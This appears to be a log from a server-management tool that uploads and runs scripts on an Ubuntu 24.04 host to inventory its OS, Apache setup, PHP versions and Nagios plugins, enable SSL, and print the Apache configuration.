Unpacking nagios-plugin-check-raid (4.0.9-1) over (4.0.9-1) ...
Setting up nagios-plugin-check-raid (4.0.9-1) ...
ln: failed to create symbolic link '/usr/local/nagios/libexec/check_raid': File exists
STDERR:
ln: failed to create symbolic link '/usr/local/nagios/libexec/check_raid': File exists
2025-12-23 14:05:23: Establishing a connection
2025-12-23 14:05:29: Establishing a connection
2025-12-23 14:05:30: Performing Server Status
2025-12-23 14:05:30:
PUT: /tmp/pkp193071
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
show_hostname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
hostname >> $temp_file
echo >> $temp_file
}
show_arc() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -m >> $temp_file
echo >> $temp_file
}
show_uname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -r -s >> $temp_file
echo >> $temp_file
}
if [ -f /etc/centos-release ]; then
show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
show_file /proc/swaps
fi
show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'
gzip -cn9 $temp_file
rm $temp_file
2025-12-23 14:05:31:
chmod 755 /tmp/pkp193071; /tmp/pkp193071; rm /tmp/pkp193071
2025-12-23 14:05:31:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename Type Size Used Priority
/swap.img file 4194300 0 -2
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
stoughton
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-90-generic
2025-12-23 14:05:31:
PUT: /tmp/pkp966035
#!/bin/bash
# get service version
apache_output() {
sub_file=$(mktemp)
script -q -c "$1 -V" $sub_file
cat $sub_file
rm $sub_file
}
apache_output2() {
$1 -V
}
apachectl_output() {
temp_file=$(mktemp)
apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
pid=`cat $file`;
cat $temp_file
rm $temp_file
# also get user/group
echo pid: $pid
if [ -d "/etc/apache2/sites-available" ]; then
echo available=sites-available
elif [ -d "/etc/apache2/hosts.d" ]; then
echo available=hosts.d
elif [ -d "/etc/apache2/conf.d" ]; then
echo available=conf.d
fi
echo [ps]
ps up $pid
}
apachectl_enabled() {
temp_file=$(mktemp)
apachectl -t -D DUMP_MODULES > $temp_file 2>&1
echo [modules]
cat $temp_file
rm $temp_file
}
if [[ "$OSTYPE" == "darwin"* ]]; then
echo [apache2]
apache_output2 /usr/sbin/httpd
elif [ -e "/usr/sbin/httpd" ]; then
echo [httpd]
apache_output /usr/sbin/httpd
if [ -d "/etc/httpd/conf.d" ]; then
echo available=conf.d
fi
fi
if [ -e "/usr/sbin/apache2" ]; then
echo [apache2]
source /etc/apache2/envvars
apache_output2 /usr/sbin/apache2
apachectl_output
apachectl_enabled
fi
2025-12-23 14:05:31:
chmod 755 /tmp/pkp966035; /tmp/pkp966035; rm /tmp/pkp966035
2025-12-23 14:05:32:
[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built: 2025-08-11T11:10:09
Server's Module Magic Number: 20120211:129
Server loaded: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture: 64-bit
Server MPM: prefork
threaded: no
forked: yes (variable process count)
Server compiled with....
-D APR_HAS_SENDFILE
-D APR_HAS_MMAP
-D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
-D APR_USE_PROC_PTHREAD_SERIALIZE
-D APR_USE_PTHREAD_SERIALIZE
-D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
-D APR_HAS_OTHER_CHILD
-D AP_HAVE_RELIABLE_PIPED_LOGS
-D DYNAMIC_MODULE_LIMIT=256
-D HTTPD_ROOT="/etc/apache2"
-D SUEXEC_BIN="/usr/lib/apache2/suexec"
-D DEFAULT_PIDLOG="/var/run/apache2.pid"
-D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
-D DEFAULT_ERRORLOG="logs/error_log"
-D AP_TYPES_CONFIG_FILE="mime.types"
-D SERVER_CONFIG_FILE="apache2.conf"
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 21705
available=sites-available
[ps]
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 21705 0.0 0.2 313516 43956 ? Ss 13:55 0:00 /usr/sbin/apache2 -k start
[modules]
Loaded Modules:
core_module (static)
so_module (static)
watchdog_module (static)
http_module (static)
log_config_module (static)
logio_module (static)
version_module (static)
unixd_module (static)
access_compat_module (shared)
alias_module (shared)
auth_basic_module (shared)
authn_core_module (shared)
authn_file_module (shared)
authz_core_module (shared)
authz_host_module (shared)
authz_user_module (shared)
autoindex_module (shared)
deflate_module (shared)
dir_module (shared)
env_module (shared)
filter_module (shared)
mime_module (shared)
mpm_prefork_module (shared)
negotiation_module (shared)
php_module (shared)
proxy_module (shared)
proxy_html_module (shared)
proxy_http_module (shared)
proxy_wstunnel_module (shared)
reqtimeout_module (shared)
rewrite_module (shared)
setenvif_module (shared)
socache_shmcb_module (shared)
ssl_module (shared)
status_module (shared)
xml2enc_module (shared)
2025-12-23 14:05:32:
SERVER INFO (php_model): array (
'debian' => 1,
'redhat' => 0,
'name' => 'stoughton',
'arch' => 'x86_64',
'raspbian' => 0,
'osdesc' => 'Ubuntu 24.04.3 LTS',
'rel' => '24.04.3',
'mac' => 0,
'distro' => 'ubuntu',
'swapfile' => '/swap.img',
'web' =>
array (
'apache2' =>
array (
'conf' => 'apache2.conf',
'config' => '/etc/apache2',
'user' => 'www-data',
'group' => 'www-data',
'available' => 'sites-available',
'running' => 1,
),
'modules' =>
array (
0 => 'core_module',
1 => 'so_module',
2 => 'watchdog_module',
3 => 'http_module',
4 => 'log_config_module',
5 => 'logio_module',
6 => 'version_module',
7 => 'unixd_module',
8 => 'access_compat_module',
9 => 'alias_module',
10 => 'auth_basic_module',
11 => 'authn_core_module',
12 => 'authn_file_module',
13 => 'authz_core_module',
14 => 'authz_host_module',
15 => 'authz_user_module',
16 => 'autoindex_module',
17 => 'deflate_module',
18 => 'dir_module',
19 => 'env_module',
20 => 'filter_module',
21 => 'mime_module',
22 => 'mpm_prefork_module',
23 => 'negotiation_module',
24 => 'php_module',
25 => 'proxy_module',
26 => 'proxy_html_module',
27 => 'proxy_http_module',
28 => 'proxy_wstunnel_module',
29 => 'reqtimeout_module',
30 => 'rewrite_module',
31 => 'setenvif_module',
32 => 'socache_shmcb_module',
33 => 'ssl_module',
34 => 'status_module',
35 => 'xml2enc_module',
),
),
)
2025-12-23 14:05:32:
PUT: /tmp/pkp449203
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
if [ ! -f "/usr/bin/add-apt-repository" ]; then
apt-get -y install software-properties-common > $temp_file 2>&1
fi
apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C > $temp_file 2>&1
add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
apt-get update > $temp_file 2>&1
fi
echo $BOUNDARY >> $temp_file
echo apt-get >> $temp_file
apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
echo >> $temp_file
fi
gzip -cn9 $temp_file
rm $temp_file
2025-12-23 14:05:32:
chmod 755 /tmp/pkp449203; /tmp/pkp449203; rm /tmp/pkp449203
2025-12-23 14:05:33:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)
2025-12-23 14:05:33:
PUT: /tmp/pkp196476
#!/bin/bash
dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php5.6]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.0]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.5]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.5]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
2025-12-23 14:05:33:
chmod 755 /tmp/pkp196476; /tmp/pkp196476; rm /tmp/pkp196476
2025-12-23 14:05:34:
[php8.2]
php=/usr/bin/php8.2
fpm=
version=8.2.30
2025-12-23 14:05:34:
PUT: /tmp/pkp574653
#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def collectCfgFiles(filename):
config = []
f = open(filename, 'r')
file = f.readlines()
for v in file:
v = v.rstrip()
if v != '' and v[0] != '#':
p = v.find('=')
if p > -1:
key = v[:p].strip()
value=v[p+1:].strip()
if key == 'cfg_file':
config.append(value)
f.close()
return config
def generate_hash(filename, type = 'MD5'):
digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
payload = type + '(' + filename + ')= ' + digest + "\n"
gz.write(payload.encode('cp437'))
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/check*')
for filename in filelist:
generate_hash(filename, 'bin')
return
try:
try:
filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
for file in filelist:
generate_hash(file)
except:
pass
scan_folder('/usr/local/nagios/libexec')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-23 14:05:34:
chmod 755 /tmp/pkp574653; /tmp/pkp574653; rm /tmp/pkp574653
2025-12-23 14:05:34:
(gzipped output)
bin(/usr/local/nagios/libexec/check_users)= c311ae83509dd25455baeca7902b345f
bin(/usr/local/nagios/libexec/check_ntp_time)= 52fe5b7ca7c188a32a6d64e736eac5b7
bin(/usr/local/nagios/libexec/check_by_ssh)= 51f1982a51d9a5ab4020232bebd8267e
bin(/usr/local/nagios/libexec/check_simap)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_breeze)= 543a2238e7ae9adcb040b2a635b6ce81
bin(/usr/local/nagios/libexec/check_ircd)= eb49495402862ca1099bdfd818306243
bin(/usr/local/nagios/libexec/check_apt)= 41eb04d12e51926f39524239d22537ef
bin(/usr/local/nagios/libexec/check_tcp)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_rpc)= 55ecb23b0cecfbdae0d6992bafa076e7
bin(/usr/local/nagios/libexec/check_mrtg)= b5b32950455e141e9b67f0f4cdab132b
bin(/usr/local/nagios/libexec/check_dummy)= 871f3acbc6b4b2b033d6fd722f376250
bin(/usr/local/nagios/libexec/check_uptime)= ded53ef6ef4680fd5841719ac869c7e1
bin(/usr/local/nagios/libexec/check_ssh)= 2396c0ac050e99416d203993c1f2dcb0
bin(/usr/local/nagios/libexec/check_oracle)= 9017feb302cac9c1882dd3d2a7371f68
bin(/usr/local/nagios/libexec/check_real)= 01b293c07d5a62fcaf79ec34625538e6
bin(/usr/local/nagios/libexec/check_disk_smb)= dd9ec10a3f651d4bb85d452e8a001408
bin(/usr/local/nagios/libexec/check_nntps)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_swap)= 9aba1ea1d65970ba60f8946e5fb73c85
bin(/usr/local/nagios/libexec/check_time)= a0482e1b7c21e0ed9de4451103f73a77
bin(/usr/local/nagios/libexec/check_procs)= bc72e861001bd320f14048f13b0a5c95
bin(/usr/local/nagios/libexec/check_icmp)= 1124d94bcf823fbcd25ade7152252ae3
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 6b901883d174dd33916621ea53c12e36
bin(/usr/local/nagios/libexec/check_spop)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_nt)= 8a7b9cd0773680a085c6ba38f9760fd6
bin(/usr/local/nagios/libexec/check_encoder.php)= c22e9b08f01fe929c535c10cf0c610c3
bin(/usr/local/nagios/libexec/check_clamd)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_pop)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_cluster)= 6a3a417d279d27775e047bdc5c1b5dce
bin(/usr/local/nagios/libexec/check_ntp_peer)= bf57bca35733628a94b78222a46a02f6
bin(/usr/local/nagios/libexec/check_http)= f0a4d9be23a8a890a436b4dc61cdfea0
bin(/usr/local/nagios/libexec/check_nntp)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_wave)= 588c42d881cec26eea20887eb7623192
bin(/usr/local/nagios/libexec/check_nagios)= df5d35cbaadb0c3550c9463d38c5622a
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_file_age)= d45ede358999e4b9a7784006ca507715
bin(/usr/local/nagios/libexec/check_udp)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_imap)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_ftp)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_nwstat)= a4663eef851d0ebc252e415e78b807cd
bin(/usr/local/nagios/libexec/check_ifstatus)= 56e28d6c53150a0c44f7e787d85b7214
bin(/usr/local/nagios/libexec/check_website)= 80eef1ef86eb3034ef686f8f3983c135
bin(/usr/local/nagios/libexec/check_ssl_certificate)= cad7d899ff9dd6501ddf03d18895b5c2
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_ssmtp)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_sensors)= 4694b2d104a9c9c1d500404e08810ab2
bin(/usr/local/nagios/libexec/check_ide_smart)= 29d0f800b7f3823d21bd444e86e83dd7
bin(/usr/local/nagios/libexec/check_ups)= 78db79cee08eebaa75a59f1cba536f75
bin(/usr/local/nagios/libexec/check_dns)= d11ffa1a24eebc4469d2d848fecc73d5
bin(/usr/local/nagios/libexec/check_raid)= d56bce7813a9a6e2be39576a71e6be88
bin(/usr/local/nagios/libexec/check_ntp)= 600191ef12bcda7add96ac823e4f509a
bin(/usr/local/nagios/libexec/check_flexlm)= 1dea6dadb259a5b53aeb31f64650ffb1
bin(/usr/local/nagios/libexec/check_disk)= 6e28ad892b3e9d4f2e1c424caa467401
bin(/usr/local/nagios/libexec/check_load)= 609fbe0884b9d265ee2efb2306636142
bin(/usr/local/nagios/libexec/check_ping)= b0feeda323e47aec89d515918a69fd2b
bin(/usr/local/nagios/libexec/check_sensors.php)= 172c8cb7ebe7199e4f589ed2f4d4d46d
bin(/usr/local/nagios/libexec/check_toner.php)= 1c9096e45b272e90f863889d1ee97c29
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 3599b505059ecf7a1838782dae75d82f
bin(/usr/local/nagios/libexec/check_dhcp)= 11af22e79dd5231fe387e003d27017b1
bin(/usr/local/nagios/libexec/check_mailq)= b1a6343b9f983e685559dd629c5242cf
bin(/usr/local/nagios/libexec/check_smtp)= 282bd82207faa6c16d3d9fc69d484ffc
bin(/usr/local/nagios/libexec/check_log)= 74401f254cd3b3b9238b9b71d362ec50
bin(/usr/local/nagios/libexec/check_jabber)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_overcr)= dcce712428ef42dcbe39e423c69f7f87
bin(/usr/local/nagios/libexec/check_dig)= f329f192e283dbbd3d8e71a5cf617d0b
2025-12-23 14:05:35:
PUT: /tmp/pkp686514
#!/bin/bash
install=
if [ -f "/usr/bin/yum" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
install="$install openssl"
fi
rpm -qi mod_ssl > /dev/null 2>&1
retVal=$?
if [ $retVal -ne 0 ]; then
install="$install mod_ssl"
fi
if [ ! -z $install ]; then
yum -y install $install
systemctl restart apache2
echo status=restarted
else
echo status=ok
fi
elif [ -f "/usr/bin/apt-get" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
apt-get update
apt-get -y install openssl
fi
if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
a2enmod -q ssl
systemctl restart apache2
fi
echo status=ok
fi
2025-12-23 14:05:35:
chmod 755 /tmp/pkp686514; /tmp/pkp686514; rm /tmp/pkp686514
2025-12-23 14:05:35:
status=ok
2025-12-23 14:05:35:
PUT: /tmp/pkp554543
#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def generate_hash_certificate(content, folder):
file = content.split("\n")
for v in file:
v = v.strip()
if v != '' and v[0] != '#':
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
if match is not None:
filename = match.group(1)
filename = normalize_path(folder, filename, True)
generate_hash(filename, folder)
def normalize_path(basepath, relativepath, isFile):
if relativepath[:1] == '/':
return relativepath
if isFile:
basename = os.path.basename(relativepath)
relativepath = os.path.dirname(relativepath)
else:
basename = ''
basepath = basepath.split('/')
relativepath = relativepath.split('/')
for element in relativepath:
if element == '..':
basepath.pop()
elif element != '.' and element != '':
basepath.append(element)
basepath = '/'.join(basepath)
if basename != '':
basepath += '/' + basename
return basepath
def generate_hash(filename, folder):
if os.path.islink(filename):
target = os.readlink(filename)
target = normalize_path(folder, target, True)
payload = 'link(' + filename + ')= ' + target + "\n"
gz.write(payload.encode('cp437'))
return
content = open(filename).read()
filehash = hashlib.md5()
filehash.update(content.encode('cp437'))
payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
gz.write(payload.encode('cp437'))
lower_content = content.lower()
if lower_content.find('sslcertificatefile') > -1:
generate_hash_certificate(content, folder)
return
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/*.conf')
for filename in filelist:
generate_hash(filename, folder)
return
try:
APACHE_ROOT = '/etc/apache2'
scan_folder(APACHE_ROOT)
scan_folder(APACHE_ROOT + '/conf.d')
scan_folder(APACHE_ROOT + '/conf.modules.d')
scan_folder(APACHE_ROOT + '/sites-available')
scan_folder(APACHE_ROOT + '/sites-enabled')
scan_folder(APACHE_ROOT + '/hosts.d')
finally:
gz.close()
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-23 14:05:36:
chmod 755 /tmp/pkp554543; /tmp/pkp554543; rm /tmp/pkp554543
2025-12-23 14:05:36:
2025-12-23 14:05:36:
PUT: /tmp/pkp801674
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/apache2.conf')
show_file('/etc/apache2/ports.conf')
show_file('/etc/apache2/sites-available/default-ssl.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-23 14:05:36:
chmod 755 /tmp/pkp801674; /tmp/pkp801674; rm /tmp/pkp801674
2025-12-23 14:05:37:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/apache2.conf 7178
# This is the main Apache server configuration file. It contains the
# configuration directives that give the server its instructions.
# See http://httpd.apache.org/docs/2.4/ for detailed information about
# the directives and /usr/share/doc/apache2/README.Debian about Debian specific
# hints.
#
#
# Summary of how the Apache 2 configuration works in Debian:
# The Apache 2 web server configuration in Debian is quite different to
# upstream's suggested way to configure the web server. This is because Debian's
# default Apache2 installation attempts to make adding and removing modules,
# virtual hosts, and extra configuration directives as flexible as possible, in
# order to make automating the changes and administering the server as easy as
# possible.
# It is split into several files forming the configuration hierarchy outlined
# below, all located in the /etc/apache2/ directory:
#
# /etc/apache2/
# |-- apache2.conf
# | `-- ports.conf
# |-- mods-enabled
# | |-- *.load
# | `-- *.conf
# |-- conf-enabled
# | `-- *.conf
# `-- sites-enabled
# `-- *.conf
#
#
# * apache2.conf is the main configuration file (this file). It puts the pieces
# together by including all remaining configuration files when starting up the
# web server.
#
# * ports.conf is always included from the main configuration file. It is
# supposed to determine listening ports for incoming connections which can be
# customized anytime.
#
# * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/
# directories contain particular configuration snippets which manage modules,
# global configuration fragments, or virtual host configurations,
# respectively.
#
# They are activated by symlinking available configuration files from their
# respective *-available/ counterparts. These should be managed by using our
# helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See
# their respective man pages for detailed information.
#
# * The binary is called apache2. Due to the use of environment variables, in
# the default configuration, apache2 needs to be started/stopped with
# /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not
# work with the default configuration.
# Global configuration
#
#
# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
#
# NOTE! If you intend to place this on an NFS (or otherwise network)
# mounted filesystem then please read the Mutex documentation (available
# at <URL:http://httpd.apache.org/docs/2.4/mod/core.html#mutex>);
# you will save yourself a lot of trouble.
#
# Do NOT add a slash at the end of the directory path.
#
#ServerRoot "/etc/apache2"
#
# The accept serialization lock file MUST BE STORED ON A LOCAL DISK.
#
#Mutex file:${APACHE_LOCK_DIR} default
#
# The directory where shm and other runtime files will be stored.
#
DefaultRuntimeDir ${APACHE_RUN_DIR}
#
# PidFile: The file in which the server should record its process
# identification number when it starts.
# This needs to be set in /etc/apache2/envvars
#
PidFile ${APACHE_PID_FILE}
#
# Timeout: The number of seconds before receives and sends time out.
#
Timeout 300
#
# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
#
KeepAlive On
#
# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We recommend you leave this number high, for maximum performance.
#
MaxKeepAliveRequests 100
#
# KeepAliveTimeout: Number of seconds to wait for the next request from the
# same client on the same connection.
#
KeepAliveTimeout 5
# These need to be set in /etc/apache2/envvars
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}
#
# HostnameLookups: Log the names of clients or just their IP addresses
# e.g., www.apache.org (on) or 204.62.129.132 (off).
# The default is off because it'd be overall better for the net if people
# had to knowingly turn this feature on, since enabling it means that
# each client request will result in AT LEAST one lookup request to the
# nameserver.
#
HostnameLookups Off
# ErrorLog: The location of the error log file.
# If you do not specify an ErrorLog directive within a <VirtualHost>
# container, error messages relating to that virtual host will be
# logged here. If you *do* define an error logfile for a <VirtualHost>
# container, that host's errors will be logged there and not here.
#
ErrorLog ${APACHE_LOG_DIR}/error.log
#
